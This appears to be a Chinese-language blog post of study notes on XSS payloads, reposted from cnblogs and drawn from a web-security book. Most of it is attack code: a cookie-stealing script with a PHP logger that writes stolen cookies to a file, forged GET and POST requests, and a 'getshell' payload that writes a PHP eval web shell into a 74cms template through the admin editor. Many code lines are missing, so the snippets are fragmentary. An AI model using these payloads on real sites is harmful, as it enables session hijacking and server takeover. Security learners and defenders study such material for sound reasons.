xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。
1.盗取cookie,发起cookie劫持
使用xss漏洞插入cookie.js
cookie.js代码:
1 |
var img = document.createElement("img"); |
5 |
document.body.appendChild(img); |
cookie.php代码
3 |
$file = fopen("cookie.txt","a"); |
5 |
fwrite($file,$_GET[‘cookie‘]); |
2.构造GET和POST请求
get.js代码:
1 |
var img = document.createElement("img"); |
3 |
img.src = "一个可以使用的get请求链接"; |
5 |
document.body.appendChild(img); |
post.js代码:
代码1:(DOM节点方式)
01 |
var f = document.createElement("form"); |
07 |
document.body.appendChild(f); |
09 |
var i1 = document.createElement("input"); |
17 |
var i2 = document.createElement("input"); |
代码2:
1 |
var dd = document.createElement("div"); |
3 |
document.body.appendChild(dd); |
5 |
dd.innerHTML =‘<form action="" method="post" id="xssform" name="mbform">‘+‘<input type="hidden" value="xxxx" name="xxx" />‘+‘<input type="text" value="aaaa" name="aaa" />‘+‘</form>‘; |
7 |
document.getElementById("xssform").submit(); |
代码3:(使用XMLHttpRequest)
03 |
var postStr = "aaa=aaaa&xxx=xxxx"; |
07 |
if(window.XMLHttpRequest) |
11 |
ajax = new XMLHttpRequest(); |
15 |
else if(window.ActiveXObject) |
19 |
ajax = new ActiveXObject("Microsoft.XMLHTTP"); |
31 |
ajax.open("POST", url , true); |
33 |
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); |
41 |
ajax.onreadystatechange = function() |
45 |
if(ajax.readyState == 4 && ajax.status == 200) |
-------------------
3.xss钓鱼
4.浏览器识别和用户安装软件识别
http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/
5.css history hack
http://ha.ckers.org/weird/CSS-history-hack.html
读《白帽子讲web安全》笔记
---------------------
xxs payload getshell 实例:
骑士cms getshell
03 |
var Shelldata=‘tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6‘; |
10 |
var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject(‘Microsoft.XMLHTTP‘)); |
12 |
xml.open("POST",‘admin_templates.php?act=do_edit‘,false); |
13 |
xml.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘); |
14 |
xml.onreadystatechange = function() |
16 |
if(xml.readyState == 4) |
xss payload
原文:http://www.cnblogs.com/milantgh/p/4241267.html